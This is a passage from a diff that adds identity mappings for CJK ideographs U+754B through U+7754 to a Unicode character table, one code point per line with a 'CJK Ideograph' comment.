+ ["\u754B", "\u754B"], /* CJK Ideograph */
+ ["\u754C", "\u754C"], /* CJK Ideograph */
+ ["\u754D", "\u754D"], /* CJK Ideograph */
+ ["\u754E", "\u754E"], /* CJK Ideograph */
+ ["\u754F", "\u754F"], /* CJK Ideograph */
+ ["\u7550", "\u7550"], /* CJK Ideograph */
+ ["\u7551", "\u7551"], /* CJK Ideograph */
+ ["\u7552", "\u7552"], /* CJK Ideograph */
+ ["\u7553", "\u7553"], /* CJK Ideograph */
+ ["\u7554", "\u7554"], /* CJK Ideograph */
+ ["\u7555", "\u7555"], /* CJK Ideograph */
+ ["\u7556", "\u7556"], /* CJK Ideograph */
+ ["\u7557", "\u7557"], /* CJK Ideograph */
+ ["\u7558", "\u7558"], /* CJK Ideograph */
+ ["\u7559", "\u7559"], /* CJK Ideograph */
+ ["\u755A", "\u755A"], /* CJK Ideograph */
+ ["\u755B", "\u755B"], /* CJK Ideograph */
+ ["\u755C", "\u755C"], /* CJK Ideograph */
+ ["\u755D", "\u755D"], /* CJK Ideograph */
+ ["\u755E", "\u755E"], /* CJK Ideograph */
+ ["\u755F", "\u755F"], /* CJK Ideograph */
+ ["\u7560", "\u7560"], /* CJK Ideograph */
+ ["\u7561", "\u7561"], /* CJK Ideograph */
+ ["\u7562", "\u7562"], /* CJK Ideograph */
+ ["\u7563", "\u7563"], /* CJK Ideograph */
+ ["\u7564", "\u7564"], /* CJK Ideograph */
+ ["\u7565", "\u7565"], /* CJK Ideograph */
+ ["\u7566", "\u7566"], /* CJK Ideograph */
+ ["\u7567", "\u7567"], /* CJK Ideograph */
+ ["\u7568", "\u7568"], /* CJK Ideograph */
+ ["\u7569", "\u7569"], /* CJK Ideograph */
+ ["\u756A", "\u756A"], /* CJK Ideograph */
+ ["\u756B", "\u756B"], /* CJK Ideograph */
+ ["\u756C", "\u756C"], /* CJK Ideograph */
+ ["\u756D", "\u756D"], /* CJK Ideograph */
+ ["\u756E", "\u756E"], /* CJK Ideograph */
+ ["\u756F", "\u756F"], /* CJK Ideograph */
+ ["\u7570", "\u7570"], /* CJK Ideograph */
+ ["\u7571", "\u7571"], /* CJK Ideograph */
+ ["\u7572", "\u7572"], /* CJK Ideograph */
+ ["\u7573", "\u7573"], /* CJK Ideograph */
+ ["\u7574", "\u7574"], /* CJK Ideograph */
+ ["\u7575", "\u7575"], /* CJK Ideograph */
+ ["\u7576", "\u7576"], /* CJK Ideograph */
+ ["\u7577", "\u7577"], /* CJK Ideograph */
+ ["\u7578", "\u7578"], /* CJK Ideograph */
+ ["\u7579", "\u7579"], /* CJK Ideograph */
+ ["\u757A", "\u757A"], /* CJK Ideograph */
+ ["\u757B", "\u757B"], /* CJK Ideograph */
+ ["\u757C", "\u757C"], /* CJK Ideograph */
+ ["\u757D", "\u757D"], /* CJK Ideograph */
+ ["\u757E", "\u757E"], /* CJK Ideograph */
+ ["\u757F", "\u757F"], /* CJK Ideograph */
+ ["\u7580", "\u7580"], /* CJK Ideograph */
+ ["\u7581", "\u7581"], /* CJK Ideograph */
+ ["\u7582", "\u7582"], /* CJK Ideograph */
+ ["\u7583", "\u7583"], /* CJK Ideograph */
+ ["\u7584", "\u7584"], /* CJK Ideograph */
+ ["\u7585", "\u7585"], /* CJK Ideograph */
+ ["\u7586", "\u7586"], /* CJK Ideograph */
+ ["\u7587", "\u7587"], /* CJK Ideograph */
+ ["\u7588", "\u7588"], /* CJK Ideograph */
+ ["\u7589", "\u7589"], /* CJK Ideograph */
+ ["\u758A", "\u758A"], /* CJK Ideograph */
+ ["\u758B", "\u758B"], /* CJK Ideograph */
+ ["\u758C", "\u758C"], /* CJK Ideograph */
+ ["\u758D", "\u758D"], /* CJK Ideograph */
+ ["\u758E", "\u758E"], /* CJK Ideograph */
+ ["\u758F", "\u758F"], /* CJK Ideograph */
+ ["\u7590", "\u7590"], /* CJK Ideograph */
+ ["\u7591", "\u7591"], /* CJK Ideograph */
+ ["\u7592", "\u7592"], /* CJK Ideograph */
+ ["\u7593", "\u7593"], /* CJK Ideograph */
+ ["\u7594", "\u7594"], /* CJK Ideograph */
+ ["\u7595", "\u7595"], /* CJK Ideograph */
+ ["\u7596", "\u7596"], /* CJK Ideograph */
+ ["\u7597", "\u7597"], /* CJK Ideograph */
+ ["\u7598", "\u7598"], /* CJK Ideograph */
+ ["\u7599", "\u7599"], /* CJK Ideograph */
+ ["\u759A", "\u759A"], /* CJK Ideograph */
+ ["\u759B", "\u759B"], /* CJK Ideograph */
+ ["\u759C", "\u759C"], /* CJK Ideograph */
+ ["\u759D", "\u759D"], /* CJK Ideograph */
+ ["\u759E", "\u759E"], /* CJK Ideograph */
+ ["\u759F", "\u759F"], /* CJK Ideograph */
+ ["\u75A0", "\u75A0"], /* CJK Ideograph */
+ ["\u75A1", "\u75A1"], /* CJK Ideograph */
+ ["\u75A2", "\u75A2"], /* CJK Ideograph */
+ ["\u75A3", "\u75A3"], /* CJK Ideograph */
+ ["\u75A4", "\u75A4"], /* CJK Ideograph */
+ ["\u75A5", "\u75A5"], /* CJK Ideograph */
+ ["\u75A6", "\u75A6"], /* CJK Ideograph */
+ ["\u75A7", "\u75A7"], /* CJK Ideograph */
+ ["\u75A8", "\u75A8"], /* CJK Ideograph */
+ ["\u75A9", "\u75A9"], /* CJK Ideograph */
+ ["\u75AA", "\u75AA"], /* CJK Ideograph */
+ ["\u75AB", "\u75AB"], /* CJK Ideograph */
+ ["\u75AC", "\u75AC"], /* CJK Ideograph */
+ ["\u75AD", "\u75AD"], /* CJK Ideograph */
+ ["\u75AE", "\u75AE"], /* CJK Ideograph */
+ ["\u75AF", "\u75AF"], /* CJK Ideograph */
+ ["\u75B0", "\u75B0"], /* CJK Ideograph */
+ ["\u75B1", "\u75B1"], /* CJK Ideograph */
+ ["\u75B2", "\u75B2"], /* CJK Ideograph */
+ ["\u75B3", "\u75B3"], /* CJK Ideograph */
+ ["\u75B4", "\u75B4"], /* CJK Ideograph */
+ ["\u75B5", "\u75B5"], /* CJK Ideograph */
+ ["\u75B6", "\u75B6"], /* CJK Ideograph */
+ ["\u75B7", "\u75B7"], /* CJK Ideograph */
+ ["\u75B8", "\u75B8"], /* CJK Ideograph */
+ ["\u75B9", "\u75B9"], /* CJK Ideograph */
+ ["\u75BA", "\u75BA"], /* CJK Ideograph */
+ ["\u75BB", "\u75BB"], /* CJK Ideograph */
+ ["\u75BC", "\u75BC"], /* CJK Ideograph */
+ ["\u75BD", "\u75BD"], /* CJK Ideograph */
+ ["\u75BE", "\u75BE"], /* CJK Ideograph */
+ ["\u75BF", "\u75BF"], /* CJK Ideograph */
+ ["\u75C0", "\u75C0"], /* CJK Ideograph */
+ ["\u75C1", "\u75C1"], /* CJK Ideograph */
+ ["\u75C2", "\u75C2"], /* CJK Ideograph */
+ ["\u75C3", "\u75C3"], /* CJK Ideograph */
+ ["\u75C4", "\u75C4"], /* CJK Ideograph */
+ ["\u75C5", "\u75C5"], /* CJK Ideograph */
+ ["\u75C6", "\u75C6"], /* CJK Ideograph */
+ ["\u75C7", "\u75C7"], /* CJK Ideograph */
+ ["\u75C8", "\u75C8"], /* CJK Ideograph */
+ ["\u75C9", "\u75C9"], /* CJK Ideograph */
+ ["\u75CA", "\u75CA"], /* CJK Ideograph */
+ ["\u75CB", "\u75CB"], /* CJK Ideograph */
+ ["\u75CC", "\u75CC"], /* CJK Ideograph */
+ ["\u75CD", "\u75CD"], /* CJK Ideograph */
+ ["\u75CE", "\u75CE"], /* CJK Ideograph */
+ ["\u75CF", "\u75CF"], /* CJK Ideograph */
+ ["\u75D0", "\u75D0"], /* CJK Ideograph */
+ ["\u75D1", "\u75D1"], /* CJK Ideograph */
+ ["\u75D2", "\u75D2"], /* CJK Ideograph */
+ ["\u75D3", "\u75D3"], /* CJK Ideograph */
+ ["\u75D4", "\u75D4"], /* CJK Ideograph */
+ ["\u75D5", "\u75D5"], /* CJK Ideograph */
+ ["\u75D6", "\u75D6"], /* CJK Ideograph */
+ ["\u75D7", "\u75D7"], /* CJK Ideograph */
+ ["\u75D8", "\u75D8"], /* CJK Ideograph */
+ ["\u75D9", "\u75D9"], /* CJK Ideograph */
+ ["\u75DA", "\u75DA"], /* CJK Ideograph */
+ ["\u75DB", "\u75DB"], /* CJK Ideograph */
+ ["\u75DC", "\u75DC"], /* CJK Ideograph */
+ ["\u75DD", "\u75DD"], /* CJK Ideograph */
+ ["\u75DE", "\u75DE"], /* CJK Ideograph */
+ ["\u75DF", "\u75DF"], /* CJK Ideograph */
+ ["\u75E0", "\u75E0"], /* CJK Ideograph */
+ ["\u75E1", "\u75E1"], /* CJK Ideograph */
+ ["\u75E2", "\u75E2"], /* CJK Ideograph */
+ ["\u75E3", "\u75E3"], /* CJK Ideograph */
+ ["\u75E4", "\u75E4"], /* CJK Ideograph */
+ ["\u75E5", "\u75E5"], /* CJK Ideograph */
+ ["\u75E6", "\u75E6"], /* CJK Ideograph */
+ ["\u75E7", "\u75E7"], /* CJK Ideograph */
+ ["\u75E8", "\u75E8"], /* CJK Ideograph */
+ ["\u75E9", "\u75E9"], /* CJK Ideograph */
+ ["\u75EA", "\u75EA"], /* CJK Ideograph */
+ ["\u75EB", "\u75EB"], /* CJK Ideograph */
+ ["\u75EC", "\u75EC"], /* CJK Ideograph */
+ ["\u75ED", "\u75ED"], /* CJK Ideograph */
+ ["\u75EE", "\u75EE"], /* CJK Ideograph */
+ ["\u75EF", "\u75EF"], /* CJK Ideograph */
+ ["\u75F0", "\u75F0"], /* CJK Ideograph */
+ ["\u75F1", "\u75F1"], /* CJK Ideograph */
+ ["\u75F2", "\u75F2"], /* CJK Ideograph */
+ ["\u75F3", "\u75F3"], /* CJK Ideograph */
+ ["\u75F4", "\u75F4"], /* CJK Ideograph */
+ ["\u75F5", "\u75F5"], /* CJK Ideograph */
+ ["\u75F6", "\u75F6"], /* CJK Ideograph */
+ ["\u75F7", "\u75F7"], /* CJK Ideograph */
+ ["\u75F8", "\u75F8"], /* CJK Ideograph */
+ ["\u75F9", "\u75F9"], /* CJK Ideograph */
+ ["\u75FA", "\u75FA"], /* CJK Ideograph */
+ ["\u75FB", "\u75FB"], /* CJK Ideograph */
+ ["\u75FC", "\u75FC"], /* CJK Ideograph */
+ ["\u75FD", "\u75FD"], /* CJK Ideograph */
+ ["\u75FE", "\u75FE"], /* CJK Ideograph */
+ ["\u75FF", "\u75FF"], /* CJK Ideograph */
+ ["\u7600", "\u7600"], /* CJK Ideograph */
+ ["\u7601", "\u7601"], /* CJK Ideograph */
+ ["\u7602", "\u7602"], /* CJK Ideograph */
+ ["\u7603", "\u7603"], /* CJK Ideograph */
+ ["\u7604", "\u7604"], /* CJK Ideograph */
+ ["\u7605", "\u7605"], /* CJK Ideograph */
+ ["\u7606", "\u7606"], /* CJK Ideograph */
+ ["\u7607", "\u7607"], /* CJK Ideograph */
+ ["\u7608", "\u7608"], /* CJK Ideograph */
+ ["\u7609", "\u7609"], /* CJK Ideograph */
+ ["\u760A", "\u760A"], /* CJK Ideograph */
+ ["\u760B", "\u760B"], /* CJK Ideograph */
+ ["\u760C", "\u760C"], /* CJK Ideograph */
+ ["\u760D", "\u760D"], /* CJK Ideograph */
+ ["\u760E", "\u760E"], /* CJK Ideograph */
+ ["\u760F", "\u760F"], /* CJK Ideograph */
+ ["\u7610", "\u7610"], /* CJK Ideograph */
+ ["\u7611", "\u7611"], /* CJK Ideograph */
+ ["\u7612", "\u7612"], /* CJK Ideograph */
+ ["\u7613", "\u7613"], /* CJK Ideograph */
+ ["\u7614", "\u7614"], /* CJK Ideograph */
+ ["\u7615", "\u7615"], /* CJK Ideograph */
+ ["\u7616", "\u7616"], /* CJK Ideograph */
+ ["\u7617", "\u7617"], /* CJK Ideograph */
+ ["\u7618", "\u7618"], /* CJK Ideograph */
+ ["\u7619", "\u7619"], /* CJK Ideograph */
+ ["\u761A", "\u761A"], /* CJK Ideograph */
+ ["\u761B", "\u761B"], /* CJK Ideograph */
+ ["\u761C", "\u761C"], /* CJK Ideograph */
+ ["\u761D", "\u761D"], /* CJK Ideograph */
+ ["\u761E", "\u761E"], /* CJK Ideograph */
+ ["\u761F", "\u761F"], /* CJK Ideograph */
+ ["\u7620", "\u7620"], /* CJK Ideograph */
+ ["\u7621", "\u7621"], /* CJK Ideograph */
+ ["\u7622", "\u7622"], /* CJK Ideograph */
+ ["\u7623", "\u7623"], /* CJK Ideograph */
+ ["\u7624", "\u7624"], /* CJK Ideograph */
+ ["\u7625", "\u7625"], /* CJK Ideograph */
+ ["\u7626", "\u7626"], /* CJK Ideograph */
+ ["\u7627", "\u7627"], /* CJK Ideograph */
+ ["\u7628", "\u7628"], /* CJK Ideograph */
+ ["\u7629", "\u7629"], /* CJK Ideograph */
+ ["\u762A", "\u762A"], /* CJK Ideograph */
+ ["\u762B", "\u762B"], /* CJK Ideograph */
+ ["\u762C", "\u762C"], /* CJK Ideograph */
+ ["\u762D", "\u762D"], /* CJK Ideograph */
+ ["\u762E", "\u762E"], /* CJK Ideograph */
+ ["\u762F", "\u762F"], /* CJK Ideograph */
+ ["\u7630", "\u7630"], /* CJK Ideograph */
+ ["\u7631", "\u7631"], /* CJK Ideograph */
+ ["\u7632", "\u7632"], /* CJK Ideograph */
+ ["\u7633", "\u7633"], /* CJK Ideograph */
+ ["\u7634", "\u7634"], /* CJK Ideograph */
+ ["\u7635", "\u7635"], /* CJK Ideograph */
+ ["\u7636", "\u7636"], /* CJK Ideograph */
+ ["\u7637", "\u7637"], /* CJK Ideograph */
+ ["\u7638", "\u7638"], /* CJK Ideograph */
+ ["\u7639", "\u7639"], /* CJK Ideograph */
+ ["\u763A", "\u763A"], /* CJK Ideograph */
+ ["\u763B", "\u763B"], /* CJK Ideograph */
+ ["\u763C", "\u763C"], /* CJK Ideograph */
+ ["\u763D", "\u763D"], /* CJK Ideograph */
+ ["\u763E", "\u763E"], /* CJK Ideograph */
+ ["\u763F", "\u763F"], /* CJK Ideograph */
+ ["\u7640", "\u7640"], /* CJK Ideograph */
+ ["\u7641", "\u7641"], /* CJK Ideograph */
+ ["\u7642", "\u7642"], /* CJK Ideograph */
+ ["\u7643", "\u7643"], /* CJK Ideograph */
+ ["\u7644", "\u7644"], /* CJK Ideograph */
+ ["\u7645", "\u7645"], /* CJK Ideograph */
+ ["\u7646", "\u7646"], /* CJK Ideograph */
+ ["\u7647", "\u7647"], /* CJK Ideograph */
+ ["\u7648", "\u7648"], /* CJK Ideograph */
+ ["\u7649", "\u7649"], /* CJK Ideograph */
+ ["\u764A", "\u764A"], /* CJK Ideograph */
+ ["\u764B", "\u764B"], /* CJK Ideograph */
+ ["\u764C", "\u764C"], /* CJK Ideograph */
+ ["\u764D", "\u764D"], /* CJK Ideograph */
+ ["\u764E", "\u764E"], /* CJK Ideograph */
+ ["\u764F", "\u764F"], /* CJK Ideograph */
+ ["\u7650", "\u7650"], /* CJK Ideograph */
+ ["\u7651", "\u7651"], /* CJK Ideograph */
+ ["\u7652", "\u7652"], /* CJK Ideograph */
+ ["\u7653", "\u7653"], /* CJK Ideograph */
+ ["\u7654", "\u7654"], /* CJK Ideograph */
+ ["\u7655", "\u7655"], /* CJK Ideograph */
+ ["\u7656", "\u7656"], /* CJK Ideograph */
+ ["\u7657", "\u7657"], /* CJK Ideograph */
+ ["\u7658", "\u7658"], /* CJK Ideograph */
+ ["\u7659", "\u7659"], /* CJK Ideograph */
+ ["\u765A", "\u765A"], /* CJK Ideograph */
+ ["\u765B", "\u765B"], /* CJK Ideograph */
+ ["\u765C", "\u765C"], /* CJK Ideograph */
+ ["\u765D", "\u765D"], /* CJK Ideograph */
+ ["\u765E", "\u765E"], /* CJK Ideograph */
+ ["\u765F", "\u765F"], /* CJK Ideograph */
+ ["\u7660", "\u7660"], /* CJK Ideograph */
+ ["\u7661", "\u7661"], /* CJK Ideograph */
+ ["\u7662", "\u7662"], /* CJK Ideograph */
+ ["\u7663", "\u7663"], /* CJK Ideograph */
+ ["\u7664", "\u7664"], /* CJK Ideograph */
+ ["\u7665", "\u7665"], /* CJK Ideograph */
+ ["\u7666", "\u7666"], /* CJK Ideograph */
+ ["\u7667", "\u7667"], /* CJK Ideograph */
+ ["\u7668", "\u7668"], /* CJK Ideograph */
+ ["\u7669", "\u7669"], /* CJK Ideograph */
+ ["\u766A", "\u766A"], /* CJK Ideograph */
+ ["\u766B", "\u766B"], /* CJK Ideograph */
+ ["\u766C", "\u766C"], /* CJK Ideograph */
+ ["\u766D", "\u766D"], /* CJK Ideograph */
+ ["\u766E", "\u766E"], /* CJK Ideograph */
+ ["\u766F", "\u766F"], /* CJK Ideograph */
+ ["\u7670", "\u7670"], /* CJK Ideograph */
+ ["\u7671", "\u7671"], /* CJK Ideograph */
+ ["\u7672", "\u7672"], /* CJK Ideograph */
+ ["\u7673", "\u7673"], /* CJK Ideograph */
+ ["\u7674", "\u7674"], /* CJK Ideograph */
+ ["\u7675", "\u7675"], /* CJK Ideograph */
+ ["\u7676", "\u7676"], /* CJK Ideograph */
+ ["\u7677", "\u7677"], /* CJK Ideograph */
+ ["\u7678", "\u7678"], /* CJK Ideograph */
+ ["\u7679", "\u7679"], /* CJK Ideograph */
+ ["\u767A", "\u767A"], /* CJK Ideograph */
+ ["\u767B", "\u767B"], /* CJK Ideograph */
+ ["\u767C", "\u767C"], /* CJK Ideograph */
+ ["\u767D", "\u767D"], /* CJK Ideograph */
+ ["\u767E", "\u767E"], /* CJK Ideograph */
+ ["\u767F", "\u767F"], /* CJK Ideograph */
+ ["\u7680", "\u7680"], /* CJK Ideograph */
+ ["\u7681", "\u7681"], /* CJK Ideograph */
+ ["\u7682", "\u7682"], /* CJK Ideograph */
+ ["\u7683", "\u7683"], /* CJK Ideograph */
+ ["\u7684", "\u7684"], /* CJK Ideograph */
+ ["\u7685", "\u7685"], /* CJK Ideograph */
+ ["\u7686", "\u7686"], /* CJK Ideograph */
+ ["\u7687", "\u7687"], /* CJK Ideograph */
+ ["\u7688", "\u7688"], /* CJK Ideograph */
+ ["\u7689", "\u7689"], /* CJK Ideograph */
+ ["\u768A", "\u768A"], /* CJK Ideograph */
+ ["\u768B", "\u768B"], /* CJK Ideograph */
+ ["\u768C", "\u768C"], /* CJK Ideograph */
+ ["\u768D", "\u768D"], /* CJK Ideograph */
+ ["\u768E", "\u768E"], /* CJK Ideograph */
+ ["\u768F", "\u768F"], /* CJK Ideograph */
+ ["\u7690", "\u7690"], /* CJK Ideograph */
+ ["\u7691", "\u7691"], /* CJK Ideograph */
+ ["\u7692", "\u7692"], /* CJK Ideograph */
+ ["\u7693", "\u7693"], /* CJK Ideograph */
+ ["\u7694", "\u7694"], /* CJK Ideograph */
+ ["\u7695", "\u7695"], /* CJK Ideograph */
+ ["\u7696", "\u7696"], /* CJK Ideograph */
+ ["\u7697", "\u7697"], /* CJK Ideograph */
+ ["\u7698", "\u7698"], /* CJK Ideograph */
+ ["\u7699", "\u7699"], /* CJK Ideograph */
+ ["\u769A", "\u769A"], /* CJK Ideograph */
+ ["\u769B", "\u769B"], /* CJK Ideograph */
+ ["\u769C", "\u769C"], /* CJK Ideograph */
+ ["\u769D", "\u769D"], /* CJK Ideograph */
+ ["\u769E", "\u769E"], /* CJK Ideograph */
+ ["\u769F", "\u769F"], /* CJK Ideograph */
+ ["\u76A0", "\u76A0"], /* CJK Ideograph */
+ ["\u76A1", "\u76A1"], /* CJK Ideograph */
+ ["\u76A2", "\u76A2"], /* CJK Ideograph */
+ ["\u76A3", "\u76A3"], /* CJK Ideograph */
+ ["\u76A4", "\u76A4"], /* CJK Ideograph */
+ ["\u76A5", "\u76A5"], /* CJK Ideograph */
+ ["\u76A6", "\u76A6"], /* CJK Ideograph */
+ ["\u76A7", "\u76A7"], /* CJK Ideograph */
+ ["\u76A8", "\u76A8"], /* CJK Ideograph */
+ ["\u76A9", "\u76A9"], /* CJK Ideograph */
+ ["\u76AA", "\u76AA"], /* CJK Ideograph */
+ ["\u76AB", "\u76AB"], /* CJK Ideograph */
+ ["\u76AC", "\u76AC"], /* CJK Ideograph */
+ ["\u76AD", "\u76AD"], /* CJK Ideograph */
+ ["\u76AE", "\u76AE"], /* CJK Ideograph */
+ ["\u76AF", "\u76AF"], /* CJK Ideograph */
+ ["\u76B0", "\u76B0"], /* CJK Ideograph */
+ ["\u76B1", "\u76B1"], /* CJK Ideograph */
+ ["\u76B2", "\u76B2"], /* CJK Ideograph */
+ ["\u76B3", "\u76B3"], /* CJK Ideograph */
+ ["\u76B4", "\u76B4"], /* CJK Ideograph */
+ ["\u76B5", "\u76B5"], /* CJK Ideograph */
+ ["\u76B6", "\u76B6"], /* CJK Ideograph */
+ ["\u76B7", "\u76B7"], /* CJK Ideograph */
+ ["\u76B8", "\u76B8"], /* CJK Ideograph */
+ ["\u76B9", "\u76B9"], /* CJK Ideograph */
+ ["\u76BA", "\u76BA"], /* CJK Ideograph */
+ ["\u76BB", "\u76BB"], /* CJK Ideograph */
+ ["\u76BC", "\u76BC"], /* CJK Ideograph */
+ ["\u76BD", "\u76BD"], /* CJK Ideograph */
+ ["\u76BE", "\u76BE"], /* CJK Ideograph */
+ ["\u76BF", "\u76BF"], /* CJK Ideograph */
+ ["\u76C0", "\u76C0"], /* CJK Ideograph */
+ ["\u76C1", "\u76C1"], /* CJK Ideograph */
+ ["\u76C2", "\u76C2"], /* CJK Ideograph */
+ ["\u76C3", "\u76C3"], /* CJK Ideograph */
+ ["\u76C4", "\u76C4"], /* CJK Ideograph */
+ ["\u76C5", "\u76C5"], /* CJK Ideograph */
+ ["\u76C6", "\u76C6"], /* CJK Ideograph */
+ ["\u76C7", "\u76C7"], /* CJK Ideograph */
+ ["\u76C8", "\u76C8"], /* CJK Ideograph */
+ ["\u76C9", "\u76C9"], /* CJK Ideograph */
+ ["\u76CA", "\u76CA"], /* CJK Ideograph */
+ ["\u76CB", "\u76CB"], /* CJK Ideograph */
+ ["\u76CC", "\u76CC"], /* CJK Ideograph */
+ ["\u76CD", "\u76CD"], /* CJK Ideograph */
+ ["\u76CE", "\u76CE"], /* CJK Ideograph */
+ ["\u76CF", "\u76CF"], /* CJK Ideograph */
+ ["\u76D0", "\u76D0"], /* CJK Ideograph */
+ ["\u76D1", "\u76D1"], /* CJK Ideograph */
+ ["\u76D2", "\u76D2"], /* CJK Ideograph */
+ ["\u76D3", "\u76D3"], /* CJK Ideograph */
+ ["\u76D4", "\u76D4"], /* CJK Ideograph */
+ ["\u76D5", "\u76D5"], /* CJK Ideograph */
+ ["\u76D6", "\u76D6"], /* CJK Ideograph */
+ ["\u76D7", "\u76D7"], /* CJK Ideograph */
+ ["\u76D8", "\u76D8"], /* CJK Ideograph */
+ ["\u76D9", "\u76D9"], /* CJK Ideograph */
+ ["\u76DA", "\u76DA"], /* CJK Ideograph */
+ ["\u76DB", "\u76DB"], /* CJK Ideograph */
+ ["\u76DC", "\u76DC"], /* CJK Ideograph */
+ ["\u76DD", "\u76DD"], /* CJK Ideograph */
+ ["\u76DE", "\u76DE"], /* CJK Ideograph */
+ ["\u76DF", "\u76DF"], /* CJK Ideograph */
+ ["\u76E0", "\u76E0"], /* CJK Ideograph */
+ ["\u76E1", "\u76E1"], /* CJK Ideograph */
+ ["\u76E2", "\u76E2"], /* CJK Ideograph */
+ ["\u76E3", "\u76E3"], /* CJK Ideograph */
+ ["\u76E4", "\u76E4"], /* CJK Ideograph */
+ ["\u76E5", "\u76E5"], /* CJK Ideograph */
+ ["\u76E6", "\u76E6"], /* CJK Ideograph */
+ ["\u76E7", "\u76E7"], /* CJK Ideograph */
+ ["\u76E8", "\u76E8"], /* CJK Ideograph */
+ ["\u76E9", "\u76E9"], /* CJK Ideograph */
+ ["\u76EA", "\u76EA"], /* CJK Ideograph */
+ ["\u76EB", "\u76EB"], /* CJK Ideograph */
+ ["\u76EC", "\u76EC"], /* CJK Ideograph */
+ ["\u76ED", "\u76ED"], /* CJK Ideograph */
+ ["\u76EE", "\u76EE"], /* CJK Ideograph */
+ ["\u76EF", "\u76EF"], /* CJK Ideograph */
+ ["\u76F0", "\u76F0"], /* CJK Ideograph */
+ ["\u76F1", "\u76F1"], /* CJK Ideograph */
+ ["\u76F2", "\u76F2"], /* CJK Ideograph */
+ ["\u76F3", "\u76F3"], /* CJK Ideograph */
+ ["\u76F4", "\u76F4"], /* CJK Ideograph */
+ ["\u76F5", "\u76F5"], /* CJK Ideograph */
+ ["\u76F6", "\u76F6"], /* CJK Ideograph */
+ ["\u76F7", "\u76F7"], /* CJK Ideograph */
+ ["\u76F8", "\u76F8"], /* CJK Ideograph */
+ ["\u76F9", "\u76F9"], /* CJK Ideograph */
+ ["\u76FA", "\u76FA"], /* CJK Ideograph */
+ ["\u76FB", "\u76FB"], /* CJK Ideograph */
+ ["\u76FC", "\u76FC"], /* CJK Ideograph */
+ ["\u76FD", "\u76FD"], /* CJK Ideograph */
+ ["\u76FE", "\u76FE"], /* CJK Ideograph */
+ ["\u76FF", "\u76FF"], /* CJK Ideograph */
+ ["\u7700", "\u7700"], /* CJK Ideograph */
+ ["\u7701", "\u7701"], /* CJK Ideograph */
+ ["\u7702", "\u7702"], /* CJK Ideograph */
+ ["\u7703", "\u7703"], /* CJK Ideograph */
+ ["\u7704", "\u7704"], /* CJK Ideograph */
+ ["\u7705", "\u7705"], /* CJK Ideograph */
+ ["\u7706", "\u7706"], /* CJK Ideograph */
+ ["\u7707", "\u7707"], /* CJK Ideograph */
+ ["\u7708", "\u7708"], /* CJK Ideograph */
+ ["\u7709", "\u7709"], /* CJK Ideograph */
+ ["\u770A", "\u770A"], /* CJK Ideograph */
+ ["\u770B", "\u770B"], /* CJK Ideograph */
+ ["\u770C", "\u770C"], /* CJK Ideograph */
+ ["\u770D", "\u770D"], /* CJK Ideograph */
+ ["\u770E", "\u770E"], /* CJK Ideograph */
+ ["\u770F", "\u770F"], /* CJK Ideograph */
+ ["\u7710", "\u7710"], /* CJK Ideograph */
+ ["\u7711", "\u7711"], /* CJK Ideograph */
+ ["\u7712", "\u7712"], /* CJK Ideograph */
+ ["\u7713", "\u7713"], /* CJK Ideograph */
+ ["\u7714", "\u7714"], /* CJK Ideograph */
+ ["\u7715", "\u7715"], /* CJK Ideograph */
+ ["\u7716", "\u7716"], /* CJK Ideograph */
+ ["\u7717", "\u7717"], /* CJK Ideograph */
+ ["\u7718", "\u7718"], /* CJK Ideograph */
+ ["\u7719", "\u7719"], /* CJK Ideograph */
+ ["\u771A", "\u771A"], /* CJK Ideograph */
+ ["\u771B", "\u771B"], /* CJK Ideograph */
+ ["\u771C", "\u771C"], /* CJK Ideograph */
+ ["\u771D", "\u771D"], /* CJK Ideograph */
+ ["\u771E", "\u771E"], /* CJK Ideograph */
+ ["\u771F", "\u771F"], /* CJK Ideograph */
+ ["\u7720", "\u7720"], /* CJK Ideograph */
+ ["\u7721", "\u7721"], /* CJK Ideograph */
+ ["\u7722", "\u7722"], /* CJK Ideograph */
+ ["\u7723", "\u7723"], /* CJK Ideograph */
+ ["\u7724", "\u7724"], /* CJK Ideograph */
+ ["\u7725", "\u7725"], /* CJK Ideograph */
+ ["\u7726", "\u7726"], /* CJK Ideograph */
+ ["\u7727", "\u7727"], /* CJK Ideograph */
+ ["\u7728", "\u7728"], /* CJK Ideograph */
+ ["\u7729", "\u7729"], /* CJK Ideograph */
+ ["\u772A", "\u772A"], /* CJK Ideograph */
+ ["\u772B", "\u772B"], /* CJK Ideograph */
+ ["\u772C", "\u772C"], /* CJK Ideograph */
+ ["\u772D", "\u772D"], /* CJK Ideograph */
+ ["\u772E", "\u772E"], /* CJK Ideograph */
+ ["\u772F", "\u772F"], /* CJK Ideograph */
+ ["\u7730", "\u7730"], /* CJK Ideograph */
+ ["\u7731", "\u7731"], /* CJK Ideograph */
+ ["\u7732", "\u7732"], /* CJK Ideograph */
+ ["\u7733", "\u7733"], /* CJK Ideograph */
+ ["\u7734", "\u7734"], /* CJK Ideograph */
+ ["\u7735", "\u7735"], /* CJK Ideograph */
+ ["\u7736", "\u7736"], /* CJK Ideograph */
+ ["\u7737", "\u7737"], /* CJK Ideograph */
+ ["\u7738", "\u7738"], /* CJK Ideograph */
+ ["\u7739", "\u7739"], /* CJK Ideograph */
+ ["\u773A", "\u773A"], /* CJK Ideograph */
+ ["\u773B", "\u773B"], /* CJK Ideograph */
+ ["\u773C", "\u773C"], /* CJK Ideograph */
+ ["\u773D", "\u773D"], /* CJK Ideograph */
+ ["\u773E", "\u773E"], /* CJK Ideograph */
+ ["\u773F", "\u773F"], /* CJK Ideograph */
+ ["\u7740", "\u7740"], /* CJK Ideograph */
+ ["\u7741", "\u7741"], /* CJK Ideograph */
+ ["\u7742", "\u7742"], /* CJK Ideograph */
+ ["\u7743", "\u7743"], /* CJK Ideograph */
+ ["\u7744", "\u7744"], /* CJK Ideograph */
+ ["\u7745", "\u7745"], /* CJK Ideograph */
+ ["\u7746", "\u7746"], /* CJK Ideograph */
+ ["\u7747", "\u7747"], /* CJK Ideograph */
+ ["\u7748", "\u7748"], /* CJK Ideograph */
+ ["\u7749", "\u7749"], /* CJK Ideograph */
+ ["\u774A", "\u774A"], /* CJK Ideograph */
+ ["\u774B", "\u774B"], /* CJK Ideograph */
+ ["\u774C", "\u774C"], /* CJK Ideograph */
+ ["\u774D", "\u774D"], /* CJK Ideograph */
+ ["\u774E", "\u774E"], /* CJK Ideograph */
+ ["\u774F", "\u774F"], /* CJK Ideograph */
+ ["\u7750", "\u7750"], /* CJK Ideograph */
+ ["\u7751", "\u7751"], /* CJK Ideograph */
+ ["\u7752", "\u7752"], /* CJK Ideograph */
+ ["\u7753", "\u7753"], /* CJK Ideograph */
+ ["\u7754", "\u7754"], /* CJK Ideograph */
